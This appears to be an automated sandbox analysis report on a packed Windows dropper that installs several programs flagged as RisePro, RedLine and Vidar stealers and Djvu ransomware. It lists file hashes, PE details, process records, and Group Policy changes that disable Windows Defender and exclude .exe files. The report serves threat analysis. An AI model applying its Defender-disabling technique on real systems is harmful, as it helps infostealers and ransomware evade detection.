SHA-512:	45BD2CFE3EBAE05278607994E0B3EAF64347F505E4E3509BA8785FD00D014B91691C6508EBFC74943E2708F733B8A5D5C1C1E3E329EC415D7876247AAF97D0C5
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.015374450878895
Encrypted:	false
SSDEEP:	1536:0k9jHELqei8IP+UzrebBL105tPnNO3ByiGbhwkapILOHn3cUd:0k9jHdeIzrebrCPN2cto
MD5:	0951BF8665040A50D5FB548BE6AC7C1D
SHA1:	59F4315D9953700B41E3CD026054821145DD2E68
SHA-256:	F8E639176247F80ED86FEC07F31735F3381AF3B30F7512F4F9E06A04F0FAB489
SHA-512:	B159DF503A9CFDC0740123D7060918FB1444743417B645C9C28B4FB2AEDEC75660F84F55B3D62A89921B0D76B7AB199DBFE639844A9A11BC6458FB0E06B9FEAD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....)..........."...0..4............... .....@..... ....................................`...@......@............... ...............................`...............................S..8............................................................ ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@........................................H....... !...............-...&...........................................0..L.......(....(.....~......i .....@(..........i(..........(....(....t....o.....(......(.....~....-.r...p.....(....o....s.........~.....~...........V(....r7..p~....o.....~......(....Vs....(....t.........*..BSJB............v4.0.30319......l.......#~..\.......#Strings....T...<...#US.........#GUID.......@...#Blob...........W..........3........!...............................................................

C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2121216
Entropy (8bit):	6.847277642413426
Encrypted:	false
SSDEEP:	49152:s4K3x1vU2JtTF+TxMoxc1TU+j+dAzGwlrh:s4Ex182tIuoITsdZ
MD5:	E22EFC95638F4C4E07FD7DABA5BD3154
SHA1:	DB73B614E897241D5321DC46EC25A302958ECD84
SHA-256:	11BDA3957B2FD86E57B1677149C0558686C11E31AE500F671D4D9A44F6E6F48F
SHA-512:	84DAC88794F1692CCB88F09A6F8EDFF231E9524F79CD8AF40414ACDBACAFBFE3FC1C79D9CC9A4A9190EB9CEF02D23247129E8461875176840E96641375B75122
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................P............... ....@........................... ..................@...........................`..J"...p...D......................<...................................................................................CODE................................ ..`DATA.....&... ...(..................@...BSS.....-....P.......6...................idata..J"...`...$...6..............@....tls.................Z...................rdata...............Z..............@..P.reloc..<............\..............@..P.rsrc....D...p...D..................@..P.............. ......^ .............@..P........................................................................................................................................

C:\Windows\Logs\StorGroupPolicy.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	33126
Entropy (8bit):	4.913947371740327
Encrypted:	false
SSDEEP:	768:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrt5X0SHgHgZgZgUgUi/1OkGk1/pprYHHH1Q:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrtH
MD5:	26D0E4304B0698FDD5A76012D4C038A2
SHA1:	C7BFAAF8B6E41CCE90DD74452B5345CBEF9C07C4
SHA-256:	830F8E6E0807C69D388D7DF26F2E0FA29399E19BA3F84D114D6796B5D227ECE9
SHA-512:	90B9BD88CEA839B5ED30F5699DB09DA3CC83ED24D958AA4D4AD4CECB9F0EC49F36A2DF56EFF3FFBC2D11297A6DD7D4E7DA0B812ACE1A3BCCE8AD0C2E0BBC2384
Malicious:	false
Reputation:	unknown
Preview:	10/03/2023 7:55:56.00000693:RegEnumKeyExW failed with (259)..10/03/2023 7:55:56.00000693:GP object initialized successfully..10/03/2023 7:55:56.00000756:Deny_All not set for all. Will query other 6 GUIDs..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Deny_All for all devices is being reset..10/03/2023 7:55:56.00000787:Will delete security for disk..10/03/2023 7:55:56.00000787:Volume interface name \\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}..10/0

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.0926418767732935
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsXovn:1WsMzYHxbnvEcvgeyn
MD5:	7CC972A3480CA0A4792DC3379A763572
SHA1:	F72EB4124D24F06678052706C542340422307317
SHA-256:	02AD5D151250848F2CC4B650A351505AA58AC13C50DA207CC06295C123DDF5E5
SHA-512:	FF5F320356E59EAF8F2B7C5A2668541252221BE2D9701006FCC64CE802E66EEAF6ECF316D925258EB12EE5B8B7DF4F8DA075E9524BADC0024B55FAE639D075B7
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=2..

Static File Info

General

File type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Entropy (8bit):	7.247307521328743
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	CHA0VZiz8y.exe
File size:	6'923'264 bytes
MD5:	f0587649682207064554a2372966435d
SHA1:	2e8b948dfcffceb8acf550a585d2ea127f28f41f
SHA256:	6bd479dd9293043d4149641897629169df609adf72926d32adfe0094c583828e
SHA512:	f5d683b9f71f5f3647d0592f801c02f1dcea7eb49b16fa2e481487d0abc1770610dc9182148a68f749b19950fc3b122911ae0fd1b167ce5dde31931a14b45fdd
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
TLSH:	50665BBB39508C16D84E947541FFB01DC703B47E950EE66B546A32B0AF0A92DAD8B7C3
File Content Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... ..........................................................0..d..................................

File Icon


Icon Hash:	13cbab63db19c0a3

Static PE Info

General

Entrypoint:	0x140bb44e7
Entrypoint Section:	.themida
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x663B8B33 [Wed May 8 14:24:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1ba19d25372b3cb9b6f9bdd416ebf12c

Entrypoint Preview

Instruction
push ebp
call 00007F322922727Eh
pop ebp
dec eax
sub ebp, 001D54EDh
call 00007F32292272D7h
pop eax
dec eax
sub eax, 00BB44FAh
jmp 00007F3229227395h
jmp 00007F322922727Dh
jmp 00007F322922724Dh
jmp 00007F3229227286h
jmp 00007F32292272BCh
dec eax
mov eax, eax
jmp 00007F32292326D5h
jmp 00007F3229233E64h
mov ebx, 00000800h
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [ecx-5CFEF300h], cl
add byte ptr [esi], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [A0E4B301h], cl
jmp 00007F322923271Fh
or eax, 7827A801h
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, 4B60BA01h
inc edx
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, 1CA27B01h
inc ecx
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, 31FF2F01h
inc edx
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, DB3EA901h
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, C37B3301h
inc ecx
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, 31BAE701h
inc ecx
or al, byte ptr [eax]
add byte ptr [eax], al
or eax, CAB47201h
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [4DB44201h], cl
dec dword ptr [edx]
add byte ptr [eax], al
add byte ptr [51F65601h], cl
inc ecx
or al, byte ptr [eax]
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9dd0ba	0x118	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9c3000	0x19e64	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xdf8b10	0xc	.themida
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9de018	0x28	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x9c1000	0x265400	31a3c0a72e8a38f0b841517b461aaf3a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x9c2000	0xce8	0x800	52035e05a186f90abc60a6b4df7a93b9	False	0.9033203125	data	7.284719044401107	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9c3000	0x19e64	0x1a000	13fdfda68b2ed73b67672d1a90926881	False	0.7123647836538461	data	6.875099946997904	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9dd000	0x1000	0x200	911aa9b1ee970578ffa0b7eaa774247b	False	0.412109375	data	3.2090583705591094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x9de000	0x1000	0x200	e5a2595f40eb9ed409fa7b0c972218f2	False	0.052734375	data	0.26425924870095685	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x9df000	0x41a000	0x41a000	da15f493521790746943bcea48b4b19f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
MUI	0x9c3088	0x110	data	0.5551470588235294
WEVT_TEMPLATE	0x225ad4	0x4f2	data	1.0086887835703002
RT_BITMAP	0x225fc8	0x1246e	data	1.0004140952686276
RT_BITMAP	0x238438	0x1246e	data	1.0004140952686276
RT_BITMAP	0x24a8a8	0x1246e	data	1.0004140952686276
RT_BITMAP	0x25cd18	0x1246e	data	0.9957806999378753
RT_BITMAP	0x26f188	0x1246e	empty	0
RT_BITMAP	0x2815f8	0x1246e	empty	0
RT_BITMAP	0x293a68	0x27c0	empty	0
RT_BITMAP	0x296228	0x27c0	empty	0
RT_BITMAP	0x2989e8	0x37b0	empty	0
RT_BITMAP	0x29c198	0x37b0	empty	0
RT_BITMAP	0x29f948	0x1246e	empty	0
RT_BITMAP	0x2b1db8	0x1246e	empty	0
RT_BITMAP	0x2c4228	0x1246e	empty	0
RT_BITMAP	0x2d6698	0x1246e	empty	0
RT_BITMAP	0x2e8b08	0x120d2	empty	0
RT_BITMAP	0x2fabdc	0x1246e	empty	0
RT_BITMAP	0x30d04c	0x7ef6	empty	0
RT_BITMAP	0x314f44	0x39e	empty	0
RT_BITMAP	0x3152e4	0x332	empty	0
RT_BITMAP	0x315618	0x247a	empty	0
RT_BITMAP	0x317a94	0x552	empty	0
RT_BITMAP	0x317fe8	0x2462	empty	0
RT_BITMAP	0x31a44c	0x1246e	empty	0
RT_BITMAP	0x32c8bc	0x1246e	empty	0
RT_BITMAP	0x33ed2c	0x28e36	empty	0
RT_BITMAP	0x367b64	0x7ef6	empty	0
RT_BITMAP	0x36fa5c	0x33f2	empty	0
RT_BITMAP	0x372e50	0x33da	empty	0
RT_ICON	0x9c37f4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.500703564727955
RT_ICON	0x9c48c4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.3759447331128956
RT_ICON	0x9c8b14	0xca34	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	1.0005022795765397
RT_ICON	0x9d5570	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	0.34817073170731705
RT_ICON	0x9d5c00	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	0.41801075268817206
RT_ICON	0x9d5f10	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	0.5266393442622951
RT_ICON	0x9d6120	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	0.5675675675675675
RT_ICON	0x9d6270	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.4400319829424307
RT_ICON	0x9d7140	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.5040613718411552
RT_ICON	0x9d7a10	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.5852534562211982
RT_ICON	0x9d8100	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.3106936416184971
RT_ICON	0x9d8690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.4571576763485477
RT_ICON	0x9dac60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.47912757973733583
RT_ICON	0x9dbd30	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.7172131147540983
RT_ICON	0x9dc6e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.4875886524822695
RT_GROUP_ICON	0x9dcb90	0x30	data	0.875
RT_GROUP_ICON	0x9dcbe8	0xae	data	0.5919540229885057
RT_MANIFEST	0x9dccd8	0x18a	ASCII text	0.4949238578680203

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
KERNEL32	GetModuleHandleA
USER32.dll	GetCursorPos
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoCreateInstance
OLEAUT32.dll	VariantClear

Target ID:	0
Start time:	03:30:59
Start date:	25/05/2024
Path:	C:\Users\user\Desktop\CHA0VZiz8y.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\CHA0VZiz8y.exe"
Imagebase:	0x140000000
File size:	6'923'264 bytes
MD5 hash:	F0587649682207064554A2372966435D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:31:01
Start date:	25/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:31:01
Start date:	25/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:31:01
Start date:	25/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
Imagebase:	0x8d0000
File size:	4'791'448 bytes
MD5 hash:	9A78F27AA9D999EEE10CB154BA964869
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000006.00000003.2429156164.0000000005AF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
Imagebase:	0x2967cce0000
File size:	80'896 bytes
MD5 hash:	0951BF8665040A50D5FB548BE6AC7C1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe
Imagebase:	0x450000
File size:	363'520 bytes
MD5 hash:	22152460B13E4C2473DC3FCDEA192933
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe
Imagebase:	0xa80000
File size:	4'795'544 bytes
MD5 hash:	6151F5177B7B35E3D7CEE99A2FC9AF24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe
Imagebase:	0xaa0000
File size:	470'016 bytes
MD5 hash:	D816AEC818E5BE0A3B7AF1AEA4BCA1D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe
Imagebase:	0x400000
File size:	2'121'216 bytes
MD5 hash:	E22EFC95638F4C4E07FD7DABA5BD3154
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe
Imagebase:	0x2e0000
File size:	4'815'512 bytes
MD5 hash:	C0FEE8DB6325C8C1B3F8CCD13574C65A
